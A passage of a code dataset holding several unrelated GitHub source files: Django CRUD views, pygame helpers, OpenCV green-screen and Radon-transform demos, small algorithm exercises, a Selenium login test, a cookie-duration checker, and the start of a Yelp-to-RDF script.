request.POST.get('pro_name') and request.POST.get('price') and request.POST.get('dept_name') and request.POST.get('brand_name') and request.POST.get('plat_name') and request.POST.get('disc_rate') and request.POST.get('ratings'):\n saverecord=ProductModel()\n saverecord.pro_id=request.POST.get('pro_id')\n saverecord.pro_name=request.POST.get('pro_name')\n saverecord.price=request.POST.get('price')\n saverecord.dept_name=request.POST.get('dept_name')\n saverecord.brand_name=request.POST.get('brand_name')\n saverecord.plat_name=request.POST.get('plat_name')\n saverecord.disc_rate=request.POST.get('disc_rate')\n saverecord.ratings=request.POST.get('ratings')\n saverecord.save()\n messages.success(request,'Product '+saverecord.pro_id+ ' is Saved Successfully..!')\n return render(request,'Insert2.html')\n else:\n return render(request,'Insert2.html')\n\ndef Editcust(request,id):\n editcustobj=CustomerModel.objects.get(cust_id=id)\n return render(request,'Edit.html',{\"CustomerModel\":editcustobj})\n\ndef updatecust(request,id):\n Updatecust=CustomerModel.objects.get(cust_id=id)\n form=Customerforms(request.POST,instance=Updatecust)\n if form.is_valid():\n form.save()\n messages.success(request,'Record Updated Successfully..!')\n return render(request,'Edit.html',{\"CustomerModel\":Updatecust})\n\ndef Editpro(request,id):\n editproobj=ProductModel.objects.get(pro_id=id)\n return render(request,'Edit2.html',{\"ProductModel\":editproobj})\n\ndef updatepro(request,id):\n Updatepro=ProductModel.objects.get(pro_id=id)\n form=Productforms(request.POST,instance=Updatepro)\n if form.is_valid():\n form.save()\n messages.success(request,'Record Updated Successfully..!')\n return render(request,'Edit2.html',{\"ProductModel\":Updatepro})\n\ndef Delcust(request,id):\n delcust=CustomerModel.objects.get(cust_id=id)\n delcust.delete()\n showdata=CustomerModel.objects.all()\n return render(request,\"Index.html\",{\"data\":showdata})\n\ndef Delpro(request,id):\n delpro=ProductModel.objects.get(pro_id=id)\n delpro.delete()\n showdata=ProductModel.objects.all()\n return render(request,\"Index2.html\",{\"data\":showdata})\n\ndef sortCustomer(request):\n if request.method==\"POST\":\n if request.POST.get('Sort'):\n type=request.POST.get('Sort')\n sorted=CustomerModel.objects.all().order_by(type)\n context = {\n 'data': sorted\n }\n return render(request,'Sort.html',context)\n else:\n return render(request,'Sort.html')\n\ndef sortProduct(request):\n if request.method==\"POST\":\n if request.POST.get('Sort'):\n type=request.POST.get('Sort')\n sorted=ProductModel.objects.all().order_by(type)\n context = {\n 'data': sorted\n }\n return render(request,'Sort2.html',context)\n else:\n return render(request,'Sort2.html')\n\n\ndef Setalert(request,id):\n if request.method==\"POST\":\n if request.POST.get('pro_id') and request.POST.get('cust_id') and request.POST.get('price_drop'):\n saverecord=AlertModel()\n saverecord.pro_id=request.POST.get('pro_id')\n saverecord.cust_id=request.POST.get('cust_id')\n saverecord.price_drop=request.POST.get('price_drop')\n saverecord.save()\n messages.success(request,'Alert for pro_id '+saverecord.pro_id+' set successfully!..')\n return render(request,'Index2.html',{\"data\":ProductModel.objects.all()})\n else:\n setalert=ProductModel.objects.get(pro_id=id)\n return render(request,'addalert.html',{\"ProductModel\":setalert})\n\ndef showcustalerts(request,id):\n custalerts=AlertModel.objects.filter(cust_id=id).values()\n return render(request,'showalert.html',{\"data\":custalerts})\n\ndef Delalert(request,id):\n delalert=AlertModel.objects.get(a_id=id)\n showdata=AlertModel.objects.filter(cust_id=delalert.cust_id).values()\n delalert.delete()\n return render(request,\"showalert.html\",{\"data\":showdata})\n\ndef runQuery(request):\n raw_query = \"select pro_id, pro_name, plat_name, price, price-price*disc_rate/100 as best_deal, ratings from product where price >= 5000 order by ratings desc;\"\n cursor = connection.cursor()\n cursor.execute(raw_query)\n alldata=cursor.fetchall()\n return render(request,'runquery.html',{'data':alldata})","repo_name":"somin18501/DBMS_PROJECT","sub_path":"dbms_project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32062986154","text":"\"Funciones comunes utilizadas por los diversos juegos.\"\n\nimport os\nimport sys\nimport pygame as p\nfrom pygame.locals import K_ESCAPE\n\n\nWIDTH = 640\nHEIGHT = 480\nPANTALLA = (WIDTH, HEIGHT)\n\nARRIBA = 1\nABAJO = 2\nDERECHA = 3\nIZQUIERDA = 4\n\ndef cargar_imagen(nombre, alpha= False, directorio= \"imagenes\"):\n \"Carga una imagen del directorio predefinido.\"\n ruta = os.path.join(directorio, nombre)\n try:\n imagen = p.image.load(ruta)\n except:\n print(\"No se puede cargar la imagen: \", ruta)\n raise\n \n if alpha == True:\n imagen = imagen.convert_alpha()\n else:\n imagen = imagen.convert()\n return imagen\n\n\n\ndef salir(cerrar, teclado):\n \"Define el fin del programa por medio de la tecla [Escape].\"\n if cerrar:\n return False\n elif teclado:\n teclado = teclado[0]\n if teclado.key == K_ESCAPE:\n return False;\n return True\n\n\n\nclass Texto():\n \"Crea un texto para mostrar en pantalla.\"\n def __init__(self, texto_predeterminado= \"\", fuente= None, tamano= 24):\n \"Inicializa el texto.\"\n self.fuente = p.font.Font(fuente, tamano)\n self.default = texto_predeterminado\n self.texto = None\n self.rect = None\n self.mostrar()\n \n def mostrar(self, cadena= \"\", color= (0xFF, 0xFF, 0xFF) ):\n \"Regresa el texto a mostrar.\"\n self.texto = self.fuente.render(self.default + cadena, True, color)\n self.rect = self.texto.get_rect()\n return self.texto\n \n def pos(self, horz= 0, vert= 0, offset_x= 0, offset_y= 0):\n \"Obtiene la posicion en la cual se mostrara el texto.\"\n if vert == 0:\n self.rect.top = offset_y\n elif vert == 1:\n self.rect.centery = HEIGHT / 2 + offset_y\n elif vert == 2:\n self.rect.bottom = HEIGHT - offset_y\n \n if horz == 0:\n self.rect.left = offset_x\n elif horz == 1:\n self.rect.centerx = WIDTH / 2 + offset_x\n elif horz == 2:\n self.rect.right = WIDTH - offset_x\n return self.rect\n\n\n\nclass Multilinea():\n \"Clase para mostrar varias lineas de texto.\"\n def __init__(self, lineas= (\"\"), fuente= None, tamano= 24):\n \"Inicializa los multiples textos.\"\n self.fuente = p.font.Font(fuente, tamano)\n self.lineas = lineas\n self.rect = p.Rect(0, 0, 0, 0)\n self.texto = []\n self.rects = []\n self.tamano = [0, 0]\n self.generar()\n \n def generar(self):\n \"Genera un texto para cada cadena y el rectangulo contennedor.\"\n for linea in self.lineas:\n #Creando los nuevos textos y sus posiciones.\n self.texto.append(self.fuente.render(linea, True, (255, 255, 255)))\n self.rects.append(self.texto[-1].get_rect())\n #Creando el contenedor de todos los textos.\n if self.rects[-1].w > self.rect.w:\n self.rect.w = self.rects[-1].w\n self.rect.h += self.rects[-1].h\n\n def mostrar(self, pantalla, alinear= 0):\n \"Muestra los textos en pantalla.\"\n for i in range(0, len(self.rects)):\n self.rects[i].top = self.rect.top + self.rects[i].h * i\n self.alineacion(alinear)\n pantalla.blit(self.texto[i], self.rects[i])\n \n def pos(self, horz= 0, vert= 0, offset_x= 0, offset_y= 0):\n \"Define la posicion del contenedor en la pantalla.\"\n if vert == 0:\n self.rect.top = offset_y\n elif vert == 1:\n self.rect.centery = HEIGHT / 2 + offset_y\n elif vert == 2:\n self.rect.bottom = HEIGHT - offset_y\n if horz == 0:\n self.rect.left = offset_x\n elif horz == 1:\n self.rect.centerx = WIDTH / 2 + offset_x\n elif horz == 2:\n self.rect.right = WIDTH - offset_x\n\n def alineacion(self, alinear= 0):\n \"Define la alineacion de cada texto respecto al contenedor.\"\n for rect in self.rects:\n if alinear == 0:\n rect.left = self.rect.left\n elif alinear == 1:\n rect.centerx = self.rect.centerx\n elif alinear == 2:\n rect.right = self.rect.right\n","repo_name":"stackbox/code","sub_path":"pythons/pygame/UnboundSnake/UnboundSnake/comun.py","file_name":"comun.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"41790765813","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n\n def h(node):\n if not node:\n return 0\n\n l = 1\n if node.left:\n l += h(node.left)\n r = 1\n if node.right:\n r += h(node.right)\n return max(l, r)\n return h(root)\n","repo_name":"susurrant/LeetCode","sub_path":"104.py","file_name":"104.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17960682767","text":"import torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import Dataset\nimport math\n\ndataset = pd.read_csv('test_data/test_data.csv')\n\nlabels = pd.read_csv('train_data/train_labels.csv')\n\ntimeint = pd.to_datetime(dataset['S_2']).astype(int)\n\ntimeint = (timeint-timeint.min())/(timeint.max()-timeint.min())\n\ndataset_ = dataset.drop(['D_63', 'D_64', 'S_2'], axis=1)\n\ndummies = pd.get_dummies(dataset[['D_63', 'D_64']])\n\ndataset_ = pd.concat([dataset_, timeint, dummies], axis = 1)\n\ndataset_ = dataset_.fillna(0)\n\ndataset_ = dataset_.groupby([\"customer_ID\"], as_index=False).agg(list)\n\ndef fillSeries(row):\n new_row = []\n size = len(row[1])\n if size < 13:\n for idx in range(len(row)):\n if idx == 0: new_row.append(row[idx])\n else: new_row.append([row[idx][0] for cnt in range(13 - size)] + row[idx])\n else:\n new_row = row\n return new_row\n\n\ndataset_ = dataset_.apply(fillSeries, axis=1)\n\ndataset_ = dataset_.set_index('customer_ID').join(labels.set_index('customer_ID'))\n\ndataset_ = dataset_.reset_index(level=0)\n\ndataset_.to_pickle(\"./transformed_test_dataset\")","repo_name":"J-Gann/CreditDefaultPrediction","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28198526864","text":"import cv2\nimport numpy as np\n\nvideo = cv2.VideoCapture(0)\n#background_video = cv2.VideoCapture(\"street.mp4\")\n\nwhile True:\n\tcheck, original_frame = video.read()\n\t\n\tif check:\n\t\t# check, background = background_video.read()\n\n\t\tbackground = cv2.imread('img.jpg')\n\t\tbackground = cv2.resize(background, (1280,720))\n\n\t\timage_copy = np.copy(original_frame)\n\t\tcv2.imshow(\"copy image\", image_copy)\n\n\t\tlower_green = np.array([0, 50, 0])\n\t\tupper_green = np.array([175, 230, 50])\n\n\t\tmask = cv2.inRange(image_copy, lower_green, upper_green)\n\t\tcv2.imshow(\"mask\",mask)\n\n\t\tmasked_image = np.copy(image_copy)\n\t\tmasked_image[mask != 0] = [0, 0, 0]\n\t\tcv2.imshow(\"masking\",masked_image)\n\n\t\tbackground[mask == 0] = [0, 0, 0]\n\t\tcv2.imshow(\"background\", background)\n\t\tcomplete_image = masked_image + background\n\t\t#complete_image = complete_image[207:616,360:709] \n\t\tcv2.imshow(\"complete\", complete_image)\n\n\t# else:\n\t# \tvideo.set(cv2.CAP_PROP_POS_FRAMES, 0)\n\n\tkey = cv2.waitKey(1)\n\n\tif key == ord('q'):\n\t\tbreak\n\n\nvideo.release()\ncv2.destroyAllWindows()\n","repo_name":"Likaone/imageproccesing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20659551610","text":"def getA1(L):\r\n result=0\r\n isHave=False\r\n for i in L:\r\n if i%5==0 and i%2==0:\r\n isHave=True\r\n result=result+i\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA2(L):\r\n result=0\r\n isHave=False\r\n flag=1\r\n for i in L:\r\n if i%5==1:\r\n isHave=True\r\n if flag==1:\r\n result=result+i\r\n flag=0\r\n else:\r\n result=result-i\r\n flag=1\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA3(L):\r\n isHave=False\r\n result=0\r\n for i in L:\r\n if i%5==2:\r\n isHave=True\r\n result=result+1\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA4(L): \r\n isHave=False\r\n sum=0\r\n count=0\r\n for i in L:\r\n if i%5==3:\r\n isHave=True\r\n sum=sum+i\r\n count=count+1\r\n if count<2:\r\n result=sum\r\n else:\r\n result=round((sum/count),1)\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA5(L): \r\n isHave=False\r\n result=0\r\n for i in L:\r\n if i%5==4:\r\n isHave=True\r\n if i>result:\r\n result=i\r\n if isHave==True: \r\n return result\r\n return \"N\" \r\nL=list(map(int,input().split()))\r\nN=L[0]\r\nL.pop(0)\r\nprint (getA1(L),end=\" \")\r\nprint (getA2(L),end=\" \")\r\nprint (getA3(L),end=\" \")\r\nprint (getA4(L),end=\" \")\r\nprint (getA5(L))\r\n","repo_name":"sxz1537/PATtest","sub_path":"1012 数字分类 (20 分).py","file_name":"1012 数字分类 (20 分).py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41194909478","text":"from selenium import webdriver\nfrom Selenium3class import LoginPage\nfrom Selenium2 import make_screenshot\nimport time\nimport pytest\n\n@pytest.mark.parametrize('username', ['standard_user', 'lockout_user'])\ndef test_lgin_page(username):\n driver = webdriver.Chrome()\n page = LoginPage(driver)\n page.open()\n page.enter_username(username) # parametr\n page.enter_password('secret_sauce')\n page.click_login()\n time.sleep(3)\n try:\n assert driver.current_url == 'https://www.saucedemo.com/investory.html', make_screenshot(driver)\n except AssertionError:\n print('blad, zly adres')\n raise\n else:\n print('ok, dobry adres')\n finally:\n driver.quit()\n\n\ndriver.quit()\n","repo_name":"Izabelina/pythonSelenium","sub_path":"Selenium3.py","file_name":"Selenium3.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73850839912","text":"import requests\nfrom datetime import datetime\n\ndef check_cookie_duration(website):\n \"\"\"\n Ensure that session cookies set by the website don't have an overly long duration.\n \n Args:\n - website (str): URL of the website to be checked.\n \n Returns:\n - str: \"🔴\" if any cookie has an overly long duration, \"🟢\" otherwise, \"⚪\" for any errors.\n \"\"\"\n try:\n response = requests.get(f\"https://{website}\")\n long_duration_cookies = 0\n \n for cookie in response.cookies:\n # Check if 'max-age' attribute exists for the cookie\n if cookie.has_attr('max-age'):\n # Let's assume a session cookie with more than 7 days (604800 seconds) duration is too long.\n if int(cookie['max-age']) > 604800:\n long_duration_cookies += 1\n # Check if 'expires' attribute exists for the cookie\n elif cookie.has_attr('expires'):\n # Parse the 'expires' date and calculate the difference from the current time\n expires_datetime = datetime.strptime(cookie['expires'], \"%a, %d-%b-%Y %H:%M:%S %Z\")\n delta = expires_datetime - datetime.utcnow()\n if delta.total_seconds() > 604800:\n long_duration_cookies += 1\n\n # Return based on the count of long-duration cookies\n if long_duration_cookies > 0:\n print(f\"Found {long_duration_cookies} cookies with long duration on {website}.\")\n return \"🔴\"\n return \"🟢\"\n except Exception as e:\n print(f\"Error checking cookie duration for {website}. Error: {e}\")\n return \"⚪\"\n","repo_name":"fabriziosalmi/websites-monitor","sub_path":"checks/check_cookie_duration.py","file_name":"check_cookie_duration.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"27269096812","text":"def binary_search(list,item): # needs a sorted array \r\n low = 0 \r\n high = len(list)-1\r\n\r\n while low<=high:\r\n mid= (low+high)//2 #find middle index of the list\r\n guess= list[mid]\r\n print(mid,guess)\r\n\r\n if guess==item:\r\n return mid\r\n elif guess 0:\n print(f\"{sites_new[i]['domain']} changed by +{rate}%.\")\n if rate < 0:\n print(f\"{sites_new[i]['domain']} changed by {rate}%.\")\n\n# ----------------------------------------------------\n# 3. feladat:\n\nempty_sites = 0\nfor site in sites_new:\n if site[\"size\"] == 0:\n empty_sites += 1\n\nprint(f\"There are {empty_sites} empty sites.\")\n\n# ----------------------------------------------------\n# 4. feladat:\n\nfor site in sites_new:\n if site[\"size\"] != 0:\n if site[\"size\"] > 1024:\n meret = round(site['size'] / 1024, 2)\n print(f\"{site['domain']} is {meret} Gb.\")\n else:\n print(f\"{site['domain']} is {site['size']} Mb.\")\n","repo_name":"Immortalits/web_sizes","sub_path":"web_sizes.py","file_name":"web_sizes.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8403478430","text":"\"\"\"Unit tests for the splatter heatmap transform.\"\"\"\n\nfrom typing import Dict, List\n\nimport pytest\nimport torch\n\nfrom torchbox3d.math.transforms.splatter_heatmap import SplatterHeatmap\nfrom torchbox3d.structures.cuboids import Cuboids\nfrom torchbox3d.structures.grid import VoxelGrid\n\n\n@pytest.mark.parametrize(\n \"voxel_grid,\" \"network_stride,\" \"tasks_cfg,\" \"dataset_name,\" \"cuboids,\",\n [\n pytest.param(\n VoxelGrid(\n min_world_coordinates_m=(-5.0, -5.0, -5.0),\n max_world_coordinates_m=(+5.0, +5.0, +5.0),\n delta_m_per_cell=(+0.1, +0.1, +0.2),\n ),\n 1,\n {0: [\"REGULAR_VEHICLE\", \"ANIMAL\"]},\n \"av2\",\n Cuboids(\n params=torch.as_tensor(\n [\n [-3.5, -3.5, -3.5, 5, 5, 5, 1, 0, 0, 0],\n [-1.25, -1.25, -1.25, 5, 5, 5, 1, 0, 0, 0],\n [-1.25, -1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [-1.25, 1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [0, 0, 0, 1, 1, 1, 1, 0, 0, 0],\n [1.25, 1.25, 1.25, 1, 1, 1, 1, 0, 0, 0],\n [1.25, -1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [3.5, 3.5, 3.5, 1, 1, 1, 1, 0, 0, 0],\n ],\n dtype=torch.float32,\n ),\n categories=torch.as_tensor([18, 18, 0, 18, 18, 18, 18, 18]),\n scores=torch.ones(8),\n ),\n )\n ],\n ids=[\"Test splattering Gaussian targets on a BEV plane.\"],\n)\ndef test_splatter_heatmap(\n voxel_grid: VoxelGrid,\n network_stride: int,\n tasks_cfg: Dict[int, List[str]],\n dataset_name: str,\n cuboids: Cuboids,\n) -> None:\n \"\"\"Unit test for splattering Gaussian targets onto the BEV plane.\"\"\"\n splatter_heatmap = SplatterHeatmap(\n network_stride=network_stride,\n tasks_cfg=tasks_cfg,\n dataset_name=dataset_name,\n )\n\n assert splatter_heatmap is not None\n","repo_name":"benjaminrwilson/torchbox3d","sub_path":"tests/math/transforms/test_splatter_heatmap.py","file_name":"test_splatter_heatmap.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"} +{"seq_id":"27028895949","text":"from django.http import HttpResponse\nfrom uploader.models import Image\nfrom utils import constants\nfrom http import HTTPStatus as Status\n\npicture_ind_by_key = {}\n\n\ndef home(request):\n persons_key = request.GET.get('key')\n if persons_key is None:\n return HttpResponse(constants.KEY_EXPECTED_MESSAGE,\n status=Status.BAD_REQUEST)\n\n if persons_key not in picture_ind_by_key:\n picture_ind_by_key.update({persons_key: 0})\n else:\n picture_ind_by_key[persons_key] += 1\n\n picture_ind = picture_ind_by_key[persons_key]\n\n images = list(Image.objects.filter(persons_key=persons_key,\n picture_ind=picture_ind))\n if len(images) == 0:\n picture_ind_by_key[persons_key] = 0\n\n first_images = list(Image.objects.filter(persons_key=persons_key,\n picture_ind=0))\n if len(first_images) == 0:\n picture_src = './static/FileNotFound.png'\n else:\n image = first_images[0]\n picture_src = '.' + image.picture.url\n else:\n image = images[0]\n picture_src = '.' + image.picture.url\n\n with open(picture_src, 'rb') as f:\n return HttpResponse(f.read(), content_type=\"image/jpeg\")\n","repo_name":"romanovsavelij/StingrayPhotos","sub_path":"get_image/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"18028126444","text":"\"\"\"\nLink: https://realpython.com/python-cli-testing/\nExperimenting Techniques for Testing Python Command-Line (CLI) Apps. \n * “Lo-Fi” Debugging With Print\n * Using a Debugger\n * Unit Testing with Pytest and Mocks\n * Integration Testing\n\"\"\"\n\ndef initial_transform(data):\n \"\"\"\n Flatten nested dicts\n \"\"\"\n for item in list(data):\n if type(item) is dict:\n for key in item:\n data[key] = item[key]\n\n return data\n\n\ndef final_transform(transformed_data):\n \"\"\"\n Transform address structures into a single structure\n \"\"\"\n transformed_data['address'] = str.format(\n \"{0}\\n{1}, {2} {3}\", transformed_data['street'], \n transformed_data['state'], transformed_data['city'], \n transformed_data['zip'])\n\n return transformed_data\n\n\ndef print_person(person_data):\n parents = \"and\".join(person_data['parents'])\n siblings = \"and\".join(person_data['siblings'])\n person_string = str.format(\n \"Hello, my name is {0}, my siblings are {1}, \"\n \"my parents are {2}, and my mailing\"\n \"address is: \\n{3}\", person_data['name'], \n parents, siblings, person_data['address'])\n print(person_string)\n\n\njohn_data = {\n 'name': 'John Q. Public',\n 'street': '123 Main St.',\n 'city': 'Anytown',\n 'state': 'FL',\n 'zip': 99999,\n 'relationships': {\n 'siblings': ['Michael R. Public', 'Suzy Q. Public'],\n 'parents': ['John Q. Public Sr.', 'Mary S. Public'],\n }\n}\n\nsuzy_data = {\n 'name': 'Suzy Q. Public',\n 'street': '456 Broadway',\n 'apt': '333',\n 'city': 'Miami',\n 'state': 'FL',\n 'zip': 33333,\n 'relationships': {\n 'siblings': ['John Q. Public', 'Michael R. Public', \n 'Thomas Z. Public'],\n 'parents': ['John Q. Public Sr.', 'Mary S. Public'],\n }\n}\n\ninputs = [john_data, suzy_data]\n\nfor input_structure in inputs:\n initial_transformed = initial_transform(input_structure)\n final_transformed = final_transform(initial_transformed)\n print_person(final_transformed)\n","repo_name":"habisl/python-workplace","sub_path":"OOP Practice/cli_app_test.py","file_name":"cli_app_test.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"21974582223","text":"from itertools import combinations, combinations_with_replacement\r\n\r\nintlist = [0,1,2,3,4,5,6,7,8,9]\r\nq = int(input().strip())\r\n\r\ndef get_abs_diff_sum(array,k):\r\n abs_diff_sum = 0\r\n for i in range(n):\r\n for j in range(i,n):\r\n abs_diff_sum += abs(array[i]-array[j])\r\n if abs_diff_sum>k:\r\n break\r\n\r\n return abs_diff_sum\r\n\r\ndef get_sum(array,s):\r\n array_sum=0\r\n for i in array:\r\n array_sum += i\r\n if array_sum >s:\r\n break\r\n\r\n return array_sum\r\n\r\ndef get_array_of_given_sum(no_of_digits, given_sum):\r\n print(\"got\", no_of_digits, given_sum)\r\n if no_of_digits==0:\r\n return [0]\r\n\r\n array_list = []\r\n\r\n for i in range(10):\r\n if given_sum-i>0:\r\n print(\"recursive call\")\r\n array_list.append(get_array_of_given_sum(no_of_digits-1, given_sum-i))\r\n print(\"returning\", array_list)\r\n return array_list\r\n\r\n\r\nfor _ in range(q):\r\n n,s,k = map(int, input().strip().split(' '))\r\n print(get_array_of_given_sum(n, s))\r\n\r\n # flag=True\r\n\r\n # for array in combinations_with_replacement(intlist,n):\r\n # print()\r\n # array_sum = get_sum(array,s)\r\n # if array_sum == s:\r\n # abs_diff_sum = get_abs_diff_sum(array,k)\r\n # if abs_diff_sum == k:\r\n # print(\" \".join(map(str, array)))\r\n # flag=False\r\n # break\r\n # if flag:\r\n # print(\"-1\")\r\n","repo_name":"pyaf/hackerrank","sub_path":"algorithm/challenges/array-construction3.py","file_name":"array-construction3.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35135073759","text":"from radon_lib import Tissue\nfrom PIL import Image, ImageOps, ImageEnhance, ImageFilter\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.matlib\nimport numpy.fft\n\n\nwith Image.open(\"test3.png\") as im:\n\tim = ImageOps.grayscale(im)\n\tpix = np.array(im)\n\t# pix = np.true_divide(pix, 256)\n\t# print(pix.shape)\n\nt = Tissue(256)\nfor i in range(256):\n\tfor j in range(256):\n\t\tt.insert_attenuation_value(pix[j][i], (i, j))\n\n \nr = np.array(t.radon_transform())\nf = np.uint8((r / np.amax(r) ) * 255)\n\n# Recreate image without applying any filtering\nim_bp = t.backprojection(r)\nf_bp = np.uint8((im_bp / np.amax(im_bp) ) * 255)\nim2 = Image.fromarray(f_bp.T, 'L')\n\n# Apply ramp filter as shown in the math \nN = r.shape[0]\n\n'''\nUse an additional filter to subdue high frequency content\n'''\n\nham = np.blackman(N)\nham = np.fft.fftshift(ham)\nham = np.matlib.repmat(ham, 180, 1)\nham = np.transpose(ham)\nramp = np.abs(np.linspace(-1, 1, N))\nramp = np.fft.fftshift(ramp)\nramp = np.matlib.repmat(ramp, 180, 1)\nramp = np.transpose(ramp)\nr_fft = np.fft.fft(r, axis = 0)\nr_fft = ramp * r_fft * ham\nr_filt = np.real(np.fft.ifft(r_fft, axis =0))\nim_filt = 0.5 * np.array(t.backprojection(r_filt))\nf_filt = np.uint8((im_filt / np.amax(im_filt) ) * 255)\nim3 = Image.fromarray(f_filt.T, 'L')\n\n\nplt.subplot(1,4,1)\nplt.imshow(im)\nplt.title(\"Actual Image\")\n\n\nplt.subplot(1,4,2)\nplt.imshow(f)\nplt.title(\"Radon Transform of the Image\")\n\n\nplt.subplot(1,4,3)\nplt.imshow(im2)\nplt.title(\"Unfiltered BP of Image\")\n\nplt.subplot(1,4,4)\nplt.imshow(im3)\nplt.title(\"Filtered BP of Image\")\n\nplt.show()","repo_name":"Atman-Kar/Radon-Transform","sub_path":"python/radon_trial.py","file_name":"radon_trial.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"12412121803","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 16 08:09:33 2022\r\n\r\n@author: MarcusA\r\n\"\"\"\r\n\r\nimport json\r\nimport csv \r\nimport pandas as pd\r\n\r\nfrom rdflib import Graph, Namespace, URIRef, BNode, Literal\r\nfrom rdflib.namespace import RDF, FOAF, XSD\r\n\r\ndata_business = []\r\ndata_business_cuisine = []\r\ncsvfile = []\r\ncuisineList = []\r\nexistdbList = []\r\nspecialList = []\r\n\r\nfrom check_if_a_resource_exists_in_dbpedia import return_dbpedia_URI\r\nfrom check_if_a_resource_exists_in_dbpedia import check_exist_dbpedia\r\nfrom pattern.text.en import singularize\r\n\r\n \r\ndf = pd.read_csv('csvData.csv')\r\n\r\nschema = Namespace(\"https://schema.org/\")\r\nyelp_business = Namespace(\"https://www.yelp.com/biz/\")\r\ndb_resource = Namespace(\"http://dbpedia.org/resource/\")\r\n\r\ndef change_format_to_db(catagory):\r\n '''\r\n \r\n\r\n Parameters\r\n ----------\r\n catagory : TYPE string\r\n takes a string in catagory from yelp.\r\n \r\n This function takes a string in catagory from yelp,\r\n changes string to lower case,\r\n capitalize the first letter in string,\r\n replace all empty spaces with line(_),\r\n then returns the transformed string\r\n\r\n Returns\r\n -------\r\n newcatagory : TYPE string\r\n retuens transformed string.\r\n\r\n '''\r\n #changes the whole string to lower case,\r\n newcatagory = catagory.lower()\r\n \r\n #capitalize first letter \r\n newcatagory = catagory.capitalize()\r\n \r\n #replace empty space with _\r\n newcatagory = catagory.replace(\" \", \"_\")\r\n \r\n return newcatagory\r\n\r\ndef string_seperate(string):\r\n '''\r\n\r\n Parameters\r\n ----------\r\n string : TYPE string\r\n \r\n takes a long string, that includes multiple strings seperated på comma.\r\n \r\n This function takes a string, \r\n seperate the string for each comma(,),\r\n and then append each element to a list,\r\n then returns the list.\r\n\r\n Returns\r\n -------\r\n cate_list : TYPE List\r\n list of string.\r\n\r\n '''\r\n n = 0\r\n cate_list = []\r\n a_list = string.split(\", \")\r\n for element in a_list:\r\n cate_list.append(element)\r\n n = n +1\r\n return cate_list\r\n\r\ndef code_to_state(code):\r\n '''\r\n \r\n\r\n Parameters\r\n ----------\r\n code : TYPE string\r\n takes a string, that indicating a state code.\r\n \r\n This function takes a string,\r\n looping for every row in the df dataframe,\r\n compare it to all the values in the df dataframe,\r\n if a corresponding string exist in the Code column,\r\n then returns the string in the state column.\r\n \r\n\r\n Returns\r\n -------\r\n TYPE string\r\n string of a state.\r\n\r\n '''\r\n n = 0\r\n for index, row in df.iterrows():\r\n if str(code) == str(df.loc[n,'Code']):\r\n return str(df.loc[n,'State'])\r\n #str(df.loc[n,])\r\n n = n + 1\r\n \r\nn = 0\r\n\r\n\r\n\r\n\r\ndef check_special_cate(string):\r\n \r\n if any(char not in special_characters for char in string):\r\n if ('&' in string) == True:\r\n string = string.replace('&', ' ')\r\n return check_special_cate(string)\r\n elif ('/' in string) == True:\r\n string = string.replace('/', ' ')\r\n return check_special_cate(string)\r\n elif ('(' in string) == True and (')' in string) == True:\r\n string = string.replace('(', ' ')\r\n string = string.replace(')', ' ')\r\n return check_special_cate(string)\r\n elif (' ' in string) == True:\r\n string = string.replace(' ', ' ')\r\n return check_special_cate(string)\r\n elif (' ' in string) == True:\r\n string = string.replace(' ', ' ')\r\n return check_special_cate(string)\r\n return string\r\n\r\n\r\ndef add_singel_to_dbpedia(business_id,string):\r\n string = singularize(string)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + string)))\r\n \r\ndef remove_apo(string):\r\n return string.replace(\"'\", 